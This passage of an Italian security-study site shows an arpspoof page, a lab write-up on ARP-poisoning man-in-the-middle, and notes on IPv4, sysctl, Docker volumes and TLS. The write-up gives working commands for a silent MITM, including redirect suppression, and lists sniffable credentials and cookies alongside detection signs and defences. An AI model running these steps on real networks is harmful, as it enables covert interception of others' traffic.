vittima perde la connessione dopo aver lanciato arpspoof, probabilmente non hai abilitato ip_forward. Verifica: sysctl net.ipv4.ip_forward — deve essere 1.\nDove l'ho usato # Lab ARP poisoning — MITM tra Ubuntu e gateway su rete host-only UTM Collegato a # network — categoria arp — il protocollo che avvelena sysctl — parametri kernel necessari per il lab tcpdump — cattura il traffico intercettato wireshark — analizza la firma del MITM (doppio pacchetto, TTL diverso) ","date":"9 aprile 2026","externalUrl":null,"permalink":"/comandi/arpspoof/","section":"Comandi","summary":"Tool per ARP poisoning — manda pacchetti ARP falsi in loop per avvelenare la cache ARP di un target. Usato per simulare attacchi MITM in laboratorio e capire come rilevarli.","title":"arpspoof - ARP cache poisoning tool","type":"comandi"},{"content":" TL;DR ARP non ha autenticazione - chiunque può convincere una rete che il gateway è lui Per fare un MITM silenzioso servono tre passi: IP forwarding, avvelenare entrambi i lati, disabilitare ICMP Redirect La firma del MITM in Wireshark è inequivocabile: stesso pacchetto, stesso seq number, TTL decrementato di 1 ip route flush all su una macchina remota equivale a spegnerla - lezione imparata a caro prezzo ▶ $ history arpspoof -i eth0 -t 192.168.64.3 192.168.64.1 sysctl -w net.ipv4.ip_forward=1 sysctl -w net.ipv4.conf.all.send_redirects=0 sysctl -w net.ipv4.conf.eth0.send_redirects=0 ip neighbor show tcpdump -i eth0 -n 'host 192.168.64.3 and icmp' -c 10 Sono le 21:00. Il lab è acceso da qualche ora. Ho appena finito di leggere come funziona il Gratuitous ARP - quella tecnica dove un dispositivo annuncia a tutta la rete \u0026quot;questo IP sono io\u0026quot;, senza che nessuno lo abbia chiesto.\nHo capito la teoria. Voglio vederla in pratica.\nIl setup # Tre macchine sulla stessa rete host-only UTM:\nMac (.1) ← gateway Ubuntu (.3) ← vittima Kali (.200) ← attaccante L'obiettivo è semplice sulla carta: convincere Ubuntu che il gateway è Kali. Tutto il traffico di Ubuntu verso internet passerà da me. Ubuntu non saprà niente.\nIl problema che non avevo considerato # Prima ancora di lanciare un singolo comando, c'è qualcosa che devo capire.\nSe Kali riceve i pacchetti di Ubuntu ma non sa cosa farne, li scarta. Ubuntu perde la connessione. L'IT chiama. L'attacco dura cinque minuti.\nUn MITM silenzioso richiede che il traffico passi attraverso l'attaccante senza interruzioni. Kali deve diventare un router.\nsudo sysctl -w net.ipv4.ip_forward=1 Un parametro del kernel. Zero o uno. La differenza tra un black hole e un uomo nel mezzo invisibile.\nL'avvelenamento # ARP poisoning non è un singolo pacchetto - è un flusso continuo. arpspoof manda ARP Reply false in loop, sovrascrivendo continuamente la cache della vittima prima che scada.\nMa avvelenare solo Ubuntu non basta. Il traffico di ritorno - da internet verso Ubuntu - arriva al gateway reale e viene inoltrato direttamente a Ubuntu, bypassandomi. Vedo solo metà della conversazione.\nServono due terminali, due avvelenamenti simultanei:\n# Terminale 1 - Ubuntu crede che il gateway sia Kali sudo arpspoof -i eth0 -t 192.168.64.3 192.168.64.1 # Terminale 2 - il gateway crede che Ubuntu sia Kali sudo arpspoof -i eth0 -t 192.168.64.1 192.168.64.3 Su Ubuntu, la verifica:\nip neighbor show 192.168.64.200 dev enp0s1 lladdr 42:27:26:91:fd:11 REACHABLE 192.168.64.1 dev enp0s1 lladdr 42:27:26:91:fd:11 REACHABLE Il gateway (192.168.64.1) e Kali (192.168.64.200) hanno lo stesso MAC. Ubuntu è compromessa. Non lo sa.\nPrima dell'avvelenamento era:\nip neighbor show 192.168.64.200 dev enp0s1 lladdr 42:27:26:91:fd:11 REACHABLE 192.168.64.1 dev enp0s1 lladdr 72:8c:f2:1b:c8:64 REACHABLE fe80::708c:f2ff:fe1b:c864 dev enp0s1 lladdr 72:8c:f2:1b:c8:64 router STALE Il tradimento del kernel # Lancio un ping da Ubuntu verso 8.8.8.8. Funziona - ma c'è qualcosa che non dovrebbe esserci:\nFrom 192.168.64.200: icmp_seq=1 Redirect Host(New nexthop: 192.168.64.1) 64 bytes from 8.8.8.8: icmp_seq=1 ttl=115 time=48.0 ms Kali sta mandando un ICMP Redirect a Ubuntu. È il kernel Linux che fa il suo lavoro: quando un router riceve un pacchetto e lo reinoltra sullo stesso segmento di rete, è più efficiente dire al mittente di andare direttamente a destinazione.\nIl problema è che Ubuntu aggiorna la sua routing cache con questa informazione. Dopo qualche secondo, bypassa Kali e va direttamente al gateway. L'attacco si rompe da solo.\nLa soluzione è silenziare quei messaggi:\nsudo sysctl -w net.ipv4.conf.all.send_redirects=0 sudo sysctl -w net.ipv4.conf.default.send_redirects=0 Ma non basta. Guardo i parametri del kernel:\nsysctl -a | grep send_redirect net.ipv4.conf.all.send_redirects = 0 net.ipv4.conf.default.send_redirects = 0 net.ipv4.conf.eth0.send_redirects = 1 ← ancora attivo net.ipv4.conf.lo.send_redirects = 1 all e default non sovrascrivono l'interfaccia specifica. Aggiungo l'ultimo pezzo:\nsudo sysctl -w net.ipv4.conf.eth0.send_redirects=0 Nessun redirect. Ubuntu continua a pingare 8.8.8.8. Non sa che ogni pacchetto passa da me.\nLa firma che non mente # Su Kali, tcpdump cattura il traffico ICMP di Ubuntu:\nsudo tcpdump -i eth0 -n \u0026#39;host 192.168.64.3 and icmp\u0026#39; -c 10 21:46:12.485487 IP 192.168.64.3 \u0026gt; 8.8.8.8: ICMP echo request, id 1192, seq 12, length 64 21:46:12.485517 IP 192.168.64.3 \u0026gt; 8.8.8.8: ICMP echo request, id 1192, seq 12, length 64 Lo stesso pacchetto due volte. Stesso id, stesso seq.\nQuesto è il doppio che non dovrebbe esistere. In una rete normale, un echo request appare una volta sola. Con un MITM attivo, Kali lo riceve da Ubuntu e poi lo reinoltra - e tcpdump li vede entrambi.\nIn Wireshark il dettaglio è ancora più chiaro:\nPacket 1: 192.168.64.3 \u0026gt; 8.8.8.8 TTL=64 (originale, mandato da Ubuntu) Packet 2: 192.168.64.3 \u0026gt; 8.8.8.8 TTL=63 (reinoltrato da Kali) Stesso sequence number. TTL decrementato di 1.\nUn hop fantasma. Il segno di qualcuno che non dovrebbe essere lì.\nLa lezione che non dimentico # Durante il lab ho provato a vedere la routing cache di Ubuntu. Ho letto ip route flush cache. Non ha funzionato - su kernel moderno la route cache è stata rimossa.\nHo provato ip route flush all.\nsudo ip route flush all Il terminale si è fermato. Ubuntu aveva appena cancellato tutta la sua routing table, inclusa la route verso Kali - la macchina da cui stavo mandando i comandi via SSH.\nConnessione persa. Riavvio da UTM.\nflush cache svuota le route temporanee. flush all cancella tutto - incluso il percorso verso te stesso. Su una macchina in produzione accessibile solo in remoto, è un disastro.\nexit 0 # ARP non ha autenticazione. Non può averla - è stato progettato per una rete di fiducia, non per un mondo di avversari.\nQuesto attacco non richiede vulnerabilità software, non richiede credenziali rubate, non richiede accesso fisico. Richiede solo di essere sulla stessa LAN e di sapere come funziona il protocollo.\nLa difesa esiste - DAI (Dynamic ARP Inspection) sullo switch managed, monitoraggio delle anomalie ARP, Wazuh che osserva la rete. Ma la maggior parte delle reti non ha niente di tutto questo.\nLa prossima volta che sei in una rete che non conosci, guarda cosa risponde ip neighbor show. Se il gateway e un altro IP hanno lo stesso MAC, qualcuno sta già leggendo il tuo traffico.\nCosa si può sniffare in un MITM reale # Protocolli in chiaro - tutto leggibile # Su una rete senza cifratura, un MITM vede tutto:\nHTTP - il caso più comune e pericoloso:\nGET /login HTTP/1.1 Host: banca.esempio.it Cookie: session=abc123 POST /login HTTP/1.1 username=mario\u0026amp;password=supersegreto123 Username, password, cookie di sessione, contenuto delle pagine, form compilati. Tutto in chiaro, tutto leggibile con Wireshark in tempo reale.\nFTP - credenziali in chiaro:\nUSER mario PASS supersegreto123 FTP non ha mai avuto cifratura. Ancora usato in molte aziende per trasferire file interni.\nSMTP/POP3/IMAP non cifrati - email in transito:\nFrom: mario@azienda.it To: cfo@azienda.it Subject: Credenziali server di produzione La password del database è: Pr0d_2024! Se il client di posta non usa TLS (e molti non lo fanno sulla rete interna), le email viaggiano in chiaro. Corpo, allegati, credenziali - tutto visibile.\nTelnet - obsoleto ma ancora presente in apparati di rete vecchi:\nlogin: admin Password: cisco123 Ogni carattere digitato viaggia in chiaro. Un MITM vede la sessione di amministrazione completa.\nDNS - sempre in chiaro (a meno di DoH/DoT):\nQuery: chi è gmail.com? Reply: gmail.com è 142.250.x.x Non vedi il contenuto delle comunicazioni, ma vedi tutti i domini che la vittima visita. È metadata prezioso - puoi ricostruire l'intera attività di navigazione.\nHTTPS - dove inizia la cifratura # Questa è la domanda chiave e la risposta è precisa.\nSì - la cifratura inizia sul computer della vittima, prima che il pacchetto esca.\nIl flusso reale è questo:\nBrowser di Ubuntu │ │ 1. TCP handshake con il server (non cifrato) │ 2. TLS handshake (negoziazione algoritmi, scambio chiavi) │ 3. Derivazione chiave simmetrica - avviene localmente │ 4. Dati cifrati con AES │ ▼ [pacchetto già cifrato] ──► Kali (MITM) ──► internet ──► server Quello che Kali vede con il MITM ARP su traffico HTTPS:\nIP 192.168.64.3 \u0026gt; 216.58.x.x: TCP [SYN] IP 192.168.64.3 \u0026gt; 216.58.x.x: TLSv1.3 Client Hello IP 216.58.x.x \u0026gt; 192.168.64.3: TLSv1.3 Server Hello, Certificate IP 192.168.64.3 \u0026gt; 216.58.x.x: [dati cifrati] IP 216.58.x.x \u0026gt; 192.168.64.3: [dati cifrati] Vedi che sta avvenendo una comunicazione HTTPS, con quale server, quanto traffico, quando - ma non il contenuto. I dati sono già cifrati quando lasciano il browser.\nQuesto è esattamente perché HTTPS esiste: proteggere dal MITM di rete.\nMa HTTPS non è invulnerabile al MITM # Esistono due tecniche reali che rompono HTTPS anche con MITM attivo:\nSSL Stripping - l'attacco classico di Moxie Marlinspike (2009):\nVittima ──HTTP──► Kali ──HTTPS──► Server (pensa di usare HTTP) Il browser della vittima pensa di essere su HTTP. Kali fa HTTPS con il server vero. Kali vede tutto in chiaro.\nFunziona solo se:\nLa vittima digita http:// o clicca un link HTTP Il sito non ha HSTS (HTTP Strict Transport Security) I browser moderni e i siti importanti usano HSTS - una volta visitato in HTTPS, il browser rifiuta di tornare a HTTP. Ma molti siti aziendali interni non lo implementano.\nSSL Bump / Proxy MITM - usato da firewall aziendali e attaccanti avanzati:\nVittima ──HTTPS──► [Proxy/Kali con certificato falso] ──HTTPS──► Server Il proxy presenta un certificato falso alla vittima. Se la vittima accetta (o se il certificato è firmato da una CA controllata dall'attaccante, come nei proxy aziendali), il traffico viene decifrato, ispezionato e re-cifrato.\nIl browser mostra un warning:\n⚠️ La connessione non è sicura Il certificato non è valido per questo dominio Se la vittima ignora il warning e procede, l'attaccante vede tutto. Nelle aziende questo viene fatto legalmente installando il certificato del proxy in tutti i browser - è così che l'IT ispeziona il traffico HTTPS dei dipendenti.\nCosa si sniffa concretamente in uno scenario aziendale reale # Scenario: ufficio, rete LAN, MITM attivo su un collega.\nTraffico HTTP interno - applicazioni legacy, intranet, pannelli di amministrazione interni spesso non cifrati:\nPOST http://gestionale.interno/login username=admin\u0026amp;password=Admin2024 DNS queries - l'intera navigazione ricostruita dai nomi:\ngmail.com, slack.com, dropbox.com, concorrente.it, linkedin.com/jobs... Credenziali email - se Outlook/Thunderbird usa IMAP senza TLS:\nA0001 LOGIN mario.rossi P@ssw0rd! Cookie di sessione HTTP - permettono di impersonare la vittima:\nCookie: PHPSESSID=abc123; auth_token=xyz789 Con quel cookie puoi fare richieste al server impersonando la vittima senza conoscere la password.\nNTLM/Kerberos hashes - in reti Windows, i meccanismi di autenticazione Windows trasmettono hash che possono essere catturati con Responder e poi crackati offline o usati in pass-the-hash.\nIl limite reale del MITM ARP # Il MITM ARP ha un confine preciso: funziona solo sulla LAN.\nInternet ──────► Router ──────► Switch ──────► Vittima │ Kali (stesso segmento) Se l'attaccante è nella stessa subnet della vittima, può fare ARP poisoning. Se è su internet, non può - ARP non attraversa i router.\nPer questo gli attacchi MITM più sofisticati usano tecniche diverse:\nBGP hijacking - avvelenamento delle route su internet (stato-nazione level) DNS spoofing - risponde alle query DNS con IP falsi Rogue AP - punto di accesso WiFi falso che fa da MITM naturale Difese che rendono il MITM ARP inutile # DAI (Dynamic ARP Inspection) → lo switch verifica ogni ARP packet contro la DHCP snooping table → se MAC/IP non corrispondono → pacchetto scartato → arpspoof non funziona più HTTPS ovunque → anche se il MITM cattura il traffico, non può leggerlo → i dati sono già cifrati sul computer della vittima HSTS (HTTP Strict Transport Security) → il browser ricorda che quel sito deve sempre usare HTTPS → SSL stripping non funziona Certificate Pinning → l\u0026#39;applicazione accetta solo un certificato specifico → certificati falsi vengono rifiutati automaticamente Wazuh + monitoraggio ARP → alert su: stesso IP con MAC diverso nel tempo → alert su: molte ARP Reply non richieste in breve tempo Comandi usati: arpspoof · sysctl · tcpdump · ip Concetti correlati: arp · osi-model · routing-hop-ttl\n","date":"9 aprile 2026","externalUrl":null,"permalink":"/blog/blog-arp-poisoning/","section":"Blog","summary":" TL;DR ARP non ha autenticazione - chiunque può convincere una rete che il gateway è lui Per fare un MITM silenzioso servono tre passi: IP forwarding, avvelenare entrambi i lati, disabilitare ICMP Redirect La firma del MITM in Wireshark è inequivocabile: stesso pacchetto, stesso seq number, TTL decrementato di 1 ip route flush all su una macchina remota equivale a spegnerla - lezione imparata a caro prezzo ▶ $ history arpspoof -i eth0 -t 192.168.64.3 192.168.64.1 sysctl -w net.ipv4.ip_forward=1 sysctl -w net.ipv4.conf.all.send_redirects=0 sysctl -w net.ipv4.conf.eth0.send_redirects=0 ip neighbor show tcpdump -i eth0 -n 'host 192.168.64.3 and icmp' -c 10 Sono le 21:00. Il lab è acceso da qualche ora. Ho appena finito di leggere come funziona il Gratuitous ARP - quella tecnica dove un dispositivo annuncia a tutta la rete \"questo IP sono io\", senza che nessuno lo abbia chiesto.\n","title":"Il Gateway Sono Io","type":"blog"},{"content":" Cosa fa # IPv4 e' il protocollo di Layer 3 responsabile dell'indirizzamento e del routing tra reti diverse. Ogni dispositivo connesso a internet ha un indirizzo IPv4 a 32 bit. L'header IPv4 contiene le informazioni necessarie per instradare il pacchetto dalla sorgente alla destinazione attraverso qualsiasi numero di router.\nTL;DR # MAC → identifica chi sei FISICAMENTE sulla LAN (Layer 2) cambia ad ogni hop, non esce dalla subnet IP → identifica dove sei nella RETE (Layer 3) rimane invariato per tutto il viaggio ARP → traduce IP in MAC quando sei nella stessa LAN MAC vs IP — due livelli distinti # LAN A (192.168.1.x) Internet LAN B (10.0.0.x) PC ──────► Router A ─────────────────── Router B ──────► Server Tra PC e Router A: MAC (stessa LAN) + IP Su internet: solo IP — i MAC non escono dalla LAN Tra Router B e Server: MAC (stessa LAN) + IP Internet e' una collezione di milioni di LAN collegate da router. La subnet mask definisce i confini di ogni LAN:\nIP: 10.10.1.22 Mask: 255.255.0.0 In binario: IP: 00001010.00001010.00000001.00010110 Mask: 11111111.11111111.00000000.00000000 ───────────────────────────── Network portion Host portion (10.10) (1.22) I bit a 1 nella mask = parte di rete (stessa LAN) I bit a 0 nella mask = parte host (dispositivo specifico)\nStruttura header IPv4 # ┌─────────┬──────────┬─────────────────┬──────────────────────┐ │ Version │ Header │ Type of Service │ Total Length │ │ (4b) │ Length │ (8b) │ (16b) │ ├─────────┴──────────┴─────────────────┴──────────────────────┤ │ Identification (16b) │ Flags │ Frag Offset │ ├──────────────────┬───────────────────┴───────┴──────────────┤ │ Time to Live │ Protocol (8b) │ Header Checksum │ │ (8b) │ │ (16b) │ ├──────────────────┴───────────────────┴──────────────────────┤ │ Source IP Address (32b) │ ├──────────────────────────────────────────────────────────────┤ │ Destination IP Address (32b) │ ├──────────────────────────────────────────────────────────────┤ │ Options │ ├──────────────────────────────────────────────────────────────┤ │ Data │ └──────────────────────────────────────────────────────────────┘ Campi principali:\nCampo Cosa contiene Note Blue Team Version 4 (IPv4) o 6 (IPv6) — TTL Time to Live — hop rimanenti Decrementato di 1 ad ogni router. A 0 → scartato + ICMP Time Exceeded Protocol Cosa c'e' dentro 6=TCP, 17=UDP, 1=ICMP Source IP IP mittente Falsificabile → IP spoofing Destination IP IP destinatario — Header Checksum Integrita' header Verifica SOLO l'header IP, non i dati Flags + Fragment Offset Frammentazione Vedi sezione sotto TTL — Time to Live # Il TTL previene i loop di routing: se un pacchetto girasse in loop infinito, consumerebbe tutta la banda → DoS.\nPartenza: TTL = 64 (Linux) o 128 (Windows) decrementato di 1 ad ogni router hop 1 → TTL = 63 hop 2 → TTL = 62 ... hop 64 → TTL = 0 → router scarta + manda ICMP Time Exceeded Come riconosci il sistema operativo dal TTL iniziale:\nTTL 64 → Linux/macOS TTL 128 → Windows TTL 255 → router/dispositivi di rete Tip Se vedi un TTL di 127 o 63 in una cattura, il pacchetto ha gia' attraversato 1 router. Puoi stimare quanti hop ha fatto: TTL iniziale - TTL attuale = hop attraversati\nIP Fragmentation # Ethernet ha un MTU (Maximum Transmission Unit) di 1500 byte. Se il pacchetto e' piu' grande, viene frammentato:\nDati originali: 4000 byte MTU Ethernet: 1500 byte (payload massimo) Frammento 1: Fragment Offset = 0 → byte 0-1479 Frammento 2: Fragment Offset = 1480 → byte 1480-2959 Frammento 3: Fragment Offset = 2960 → byte 2960-3999 Come appare in Wireshark:\nPacket 1: Fragment Offset: 0, More Fragments: 1 Packet 2: Fragment Offset: 1480, More Fragments: 1 Packet 3: Fragment Offset: 2960, More Fragments: 0 ← ultimo Il destinatario riassembla i frammenti usando Fragment Offset per rimettere i dati nell'ordine corretto.\nWarning La frammentazione IP e' stata usata per attacchi classici:\nTeardrop attack: frammenti con offset sovrapposti che crashano il sistema operativo durante il riassemblaggio IDS/firewall evasion: payload malevolo spezzato in frammenti che l'IDS non riconosce come attacco perche' li vede separati I firewall moderni riassemblano i frammenti PRIMA dell'ispezione per difendersi da questi attacchi.\nIPv4 vs IPv6 # IPv4: 32 bit → ~4 miliardi di indirizzi → esauriti IPv6: 128 bit → 340 undecilioni di indirizzi IPv4: 192.168.1.1 IPv6: 2001:0db8:85a3:0000:0000:8a2e:0370:7334 IPv4 e' ancora il protocollo dominante su internet. IPv6 e' in adozione progressiva ma non ha ancora sostituito IPv4.\nScenario Reale Blue Team # Un analista SOC vede traffico con frammenti IP anomali: molti frammenti con Fragment Offset che si sovrappongono verso lo stesso host interno. Possibile Teardrop attack o tentativo di evasione IDS.\n# Filtra frammenti IP in tcpdump sudo tcpdump -i eth0 \u0026#39;ip[6] \u0026amp; 0x20 != 0\u0026#39; # ip[6] \u0026amp; 0x20 = bit \u0026#34;More Fragments\u0026#34; nell\u0026#39;header IP # In Wireshark ip.frag_offset \u0026gt; 0 # mostra tutti i frammenti non-primo ip.flags.mf == 1 # mostra frammenti con \u0026#34;More Fragments\u0026#34; attivo Tip In una rete normale la frammentazione e' rara — la maggior parte dei sistemi usa Path MTU Discovery per evitarla. Vedere molti frammenti IP e' gia' di per se' un segnale da investigare.\nCollegato a # network — categoria osi-model — Layer 3 nel contesto OSI routing-hop-ttl — TTL e routing approfonditi icmp-mac-ip — IP vs MAC, ICMP Time Exceeded arp — traduce IP in MAC nella LAN tcp-udp — protocolli Layer 4 trasportati da IP ","date":"9 aprile 2026","externalUrl":null,"permalink":"/concetti/ip-header/","section":"Concetti","summary":"Struttura dell'header IPv4: campi principali, TTL, frammentazione, checksum. IPv4 opera a Layer 3 e si occupa del routing tra reti diverse. Diverso da MAC che opera solo nella LAN.","title":"IP Header e IPv4","type":"concetti"},{"content":" Cosa fa # Legge e modifica parametri del kernel Linux a runtime senza riavviare il sistema. I parametri vivono nel filesystem virtuale /proc/sys/ e controllano comportamenti fondamentali del sistema operativo: networking, memoria, sicurezza, IPC.\nSintassi # sysctl [opzioni] parametro[=valore]\nComandi essenziali # Comando Flag Significato flag Cosa fa sysctl -a -a all Mostra tutti i parametri disponibili sysctl parametro — — Legge il valore di un parametro sysctl -w parametro=valore -w write Imposta un valore (richiede root) sysctl -p -p permanent Ricarica configurazione da /etc/sysctl.conf Parametri importanti per Blue Team # # IP Forwarding — trasforma Linux in un router # 0 = disabilitato (default), 1 = abilitato sysctl net.ipv4.ip_forward sysctl -w net.ipv4.ip_forward=1 # ICMP Redirect — manda redirect al mittente quando inoltri # 0 = non mandare redirect, 1 = manda (default) sysctl -w net.ipv4.conf.all.send_redirects=0 sysctl -w net.ipv4.conf.default.send_redirects=0 sysctl -w net.ipv4.conf.eth0.send_redirects=0 # ATTENZIONE: disabilitare solo su all e default non basta # serve anche sull\u0026#39;interfaccia specifica (es. eth0) # Accetta redirect ICMP in arrivo sysctl -w net.ipv4.conf.all.accept_redirects=0 Permanenza dei cambiamenti # sysctl -w → volatile — perso al riavvio utile per lab e test temporanei /etc/sysctl.conf → permanente — sopravvive al riavvio aggiungi la riga: net.ipv4.ip_forward=1 poi ricarica con: sysctl -p Come cercare un parametro # # Cerca parametri relativi ai redirect sysctl -a | grep redirect # Output utile: # net.ipv4.conf.all.send_redirects = 0 # net.ipv4.conf.default.send_redirects = 0 # net.ipv4.conf.eth0.send_redirects = 1 ← interfaccia specifica! # net.ipv4.conf.lo.send_redirects = 1 Scenario Reale — MITM con ARP Poisoning # Per fare un MITM silenzioso con arpspoof, servono tre passi:\n# 1. Abilita IP forwarding — altrimenti il traffico viene scartato sudo sysctl -w net.ipv4.ip_forward=1 # 2. Disabilita ICMP Redirect — altrimenti la vittima capisce # che c\u0026#39;e\u0026#39; un hop extra e potrebbe bypassarti sudo sysctl -w net.ipv4.conf.all.send_redirects=0 sudo sysctl -w net.ipv4.conf.default.send_redirects=0 sudo sysctl -w net.ipv4.conf.eth0.send_redirects=0 # 3. Verifica che tutto sia impostato correttamente sysctl net.ipv4.ip_forward sysctl -a | grep send_redirect Warning sysctl -w net.ipv4.ip_forward=1 trasforma la macchina in un router. Su una macchina di produzione questo e' un rischio di sicurezza. Verifica sempre lo stato di ip_forward sui server: sysctl net.ipv4.ip_forward — deve essere 0 su server normali.\nTip Non puoi scrivere direttamente in /proc/sys/ con redirect shell anche da root. Usa sempre sysctl -w oppure: echo 1 | sudo tee /proc/sys/net/ipv4/ip_forward\nDove l'ho usato # Lab ARP poisoning — IP forwarding e disabilitazione ICMP Redirect Collegato a # system — categoria arp — ARP poisoning richiede ip_forward arpspoof — tool che usa questi parametri ip — complementare per configurazione rete ","date":"9 aprile 2026","externalUrl":null,"permalink":"/comandi/sysctl/","section":"Comandi","summary":"Legge e modifica parametri del kernel Linux a runtime senza riavviare. Usato per abilitare IP forwarding, disabilitare ICMP redirect, e configurare parametri di rete e sicurezza.","title":"sysctl - configure kernel parameters at runtime","type":"comandi"},{"content":" Cos'e # Un volume Docker e uno spazio di archiviazione persistente gestito da Docker, separato dal filesystem del container. I dati in un volume sopravvivono all'eliminazione del container, al contrario di quelli scritti nel layer del container che vengono persi.\nTL;DR # # Senza volume: i dati muoiono col container docker run postgres → container eliminato → dati persi # Con volume: i dati persistono docker run -v db-data:/var/lib/postgresql/data postgres → container eliminato → dati nel volume intatti → nuovo container con stesso volume → dati recuperati Un volume e come un hard disk esterno collegato al container: puoi staccare il container, il disco resta.\nCome funziona # Docker Host (server Hetzner) │ ├── /var/lib/docker/volumes/ │ ├── n8n_data/_data/ ← dati reali qui │ ├── n8n_postgres_data/_data/ │ └── postgres_rag_data/_data/ │ └── Container └── /home/node/.n8n ← container vede questo path └── (montato su n8n_data) ← ma i dati vivono nel volume Il container legge e scrive su un path interno (es. /var/lib/postgresql/data), Docker si occupa di redirigere quel traffico verso il volume sul filesystem dell'host.\nTipi di volume # Named volume Bind mount Volume anonimo Persistente si si si (ma perdi il riferimento) Path visibile sull'host no — vive in /var/lib/docker/volumes/ si — e un path reale tuo no Editabile dall'host no (serve docker exec) si — editor, git, tutto no Portabile tra server si dipende dal path assoluto no Usato per dati che possiede il container config che controlli tu da evitare Usato per (casi reali) DB (postgres, mysql), log applicativi, queue, stato interno generato dal container file di config che editi spesso, certificati, .env, config che vuoi sotto git niente — usa named volume Esistono tre modi per montare dati in un container:\nNamed volume # gestito da Docker, nome esplicito. E il tipo consigliato per la produzione.\nvolumes: - app_data:/var/lib/app/data Naming convention Docker: {nome_cartella_progetto}_{nome_volume}\nIl path /var/lib/app/data esiste SOLO dentro il container. Sull'host i dati vivono in /var/lib/docker/volumes/{progetto}_app_data/_data/. Non trovi quella cartella sul tuo host al path del container — un named volume non crea mai un path sull'host: crea storage interno a Docker e lo espone al container al path indicato.\nPer modificare i file dentro un named volume devi entrare nel container con docker exec.\nBind mount # mappa un path reale dell'host dentro il container.\nvolumes: - ./config/app.conf:/etc/app/app.conf ./config/app.conf e un file reale sul tuo host. Il container lo legge al path interno. Lo editi con il tuo editor sull'host senza mai aprire il container. Va sotto git, e portabile, e leggibile da fuori.\nChi possiede il dato — regola per scegliere:\nDomanda Risposta Usa Il dato lo genera o gestisce il container? DB, observability, stato app Named volume Il dato lo gestisci tu dall'esterno? Config, certificati, .env Bind mount Vuoi modificare i file senza ricostruire l'immagine? Codice sorgente in sviluppo Bind mount Important I volumi non hanno niente a che fare con la ricostruzione dell'immagine. docker build serve solo quando cambi il Dockerfile. Con i volumi (named o bind) i dati persistono e sono accessibili senza mai ricostruire niente — la differenza e solo dove vivono i file e chi li modifica.\nIn sviluppo il bind mount sul codice sorgente e comune: modifichi i file sull'host, il container li vede subito senza restart.\n- ./src:/app/src # sviluppo: live reload senza rebuild In produzione il bind mount si usa solo per file di configurazione che vuoi gestire dall'host — non per il codice, che e dentro l'immagine.\nLa differenza visiva:\nHost filesystem Container filesystem /var/lib/docker/volumes/ myproject_app_data/_data/ ←─named volume─→ /var/lib/app/data/ file.db file.db ← vedi qui logs/ logs/ (modifichi con docker exec) ./config/ app.conf ←─bind mount────→ /etc/app/app.conf (modifichi sull\u0026#39;host) (stessa cosa, path diverso) Se un file e in un named volume e non lo vedi sull'host al path del container, non e un bug — e il comportamento corretto. Cercalo in /var/lib/docker/volumes/ oppure entra nel container.\nVolume anonimo # nome generato da Docker (hash). Da evitare in produzione perche non e identificabile.\nvolumes: - /var/lib/postgresql/data # no nome = anonimo Sintassi docker run vs docker-compose # La sintassi -v in docker run e' equivalente alla dichiarazione in compose, ma inline — non esiste una sezione volumes: separata.\n# Bind mount — path assoluto host:path container docker run -v /home/user/config:/etc/app/config image # Bind mount — path relativo con $(pwd) docker run -v \u0026#34;$(pwd):/home/claude/workspace\u0026#34; image # Named volume — nome:path container docker run -v mydata:/var/lib/data image # Piu\u0026#39; volumi insieme docker run \\ -v \u0026#34;$(pwd):/home/claude/workspace\u0026#34; \\ -v \u0026#34;$HOME/.myapp:/home/claude/.myapp\u0026#34; \\ -v mydata:/var/lib/data \\ image Note Con docker run i named volume vengono creati automaticamente se non esistono. Non hanno il prefisso del progetto come in compose — il nome e' esattamente quello dichiarato.\nLa stessa logica bind mount / named volume si applica in entrambi i contesti — cambia solo la sintassi di dichiarazione.\nNaming e prefissi # Docker compone il nome fisico del volume unendo il nome del progetto e il nome dichiarato nel compose. Il nome del progetto corrisponde alla cartella che contiene il docker-compose.yml.\ncartella del progetto: myproject/ volume dichiarato nel compose: app_data nome fisico su Docker: myproject_app_data → visibile in: /var/lib/docker/volumes/myproject_app_data/ → listabile con: docker volume ls | grep myproject Se non conosci il nome esatto, ricavalo dalla cartella del progetto + il nome nel compose:\n# Struttura compose volumes: - app_data:/var/lib/app # nome dichiarato: app_data # Se il progetto si chiama \u0026#34;single-node\u0026#34;: docker volume ls | grep single-node # → single-node_app_data Per rendere il nome indipendente dalla cartella, si usa il campo name: nella sezione volumes:\nvolumes: db-data: # nome interno al compose (come una variabile) name: n8n_postgres_data # nome fisico su Docker (stabile) Questo e il pattern corretto per la produzione: il nome fisico non cambia mai, anche se si sposta la cartella del progetto.\nExternal vs owned # Un volume puo essere di proprieta del compose o dichiarato come esterno:\n# Compose CREA il volume (comportamento di default) volumes: db-data: name: n8n_postgres_data # Compose USA un volume gia esistente (non lo crea) volumes: db-data: external: true name: n8n_postgres_data external: true e utile quando il volume e stato creato manualmente o da un altro compose. Il rischio e che in una migrazione su un nuovo server il volume non esista e il compose fallisca all'avvio.\nCollegato a # system — categoria docker-volume — comandi: ls, inspect, migrazione, restore docker-network-defense — reti Docker, stesso tipo di ragionamento su external/owned docker-compose — dove i volumi vengono dichiarati e usati ","date":"8 aprile 2026","externalUrl":null,"permalink":"/concetti/docker-volumes/","section":"Concetti","summary":"Meccanismo di persistenza dei dati in Docker. I volumi sopravvivono al ciclo di vita dei container e possono essere condivisi tra piu container.","title":"Docker Volumes","type":"concetti"},{"content":" Cos'e' # Protocollo che cifra le connessioni di rete. SSL e' il predecessore deprecato, TLS e' quello attuale. Quando vedi il lucchetto nel browser, e' TLS che lavora.\nTL;DR # # Tre problemi da risolvere: 1. Come verifico che il server sia chi dice di essere? → catena CA 2. Come mi scambio una chiave senza trasmetterla? → Diffie-Hellman 3. Come cifro i dati in modo veloce? → AES simmetrico # Tre algoritmi in gioco (esempio reale da google.com): X25519MLKEM768 → scambio chiavi (DH effimero + post-quantum) ECDSA → firma del certificato (verifica identita\u0026#39;) AES_256_GCM_SHA384 → cifratura dati + integrita\u0026#39; Versioni storiche # SSL 1.0 → 1994, mai rilasciato SSL 2.0 → 1995, subito bucato SSL 3.0 → 1996, usato per anni — vulnerabile a POODLE (2015) TLS 1.0 → 1999 TLS 1.1 → 2006 TLS 1.2 → 2008, ancora in uso TLS 1.3 → 2018, quello attuale — ECDHE obbligatorio SSL e' morto nel 2015. Quando dici \u0026quot;certificato SSL\u0026quot; intendi TLS. Il nome e' rimasto nel linguaggio comune — e nel nome openssl.\nIl TLS Handshake # sequenceDiagram participant B as Browser participant S as Server B-\u003e\u003eS: TCP SYN S-\u003e\u003eB: TCP SYN-ACK B-\u003e\u003eS: TCP ACK B-\u003e\u003eS: Client Hello — versioni TLS e algoritmi supportati 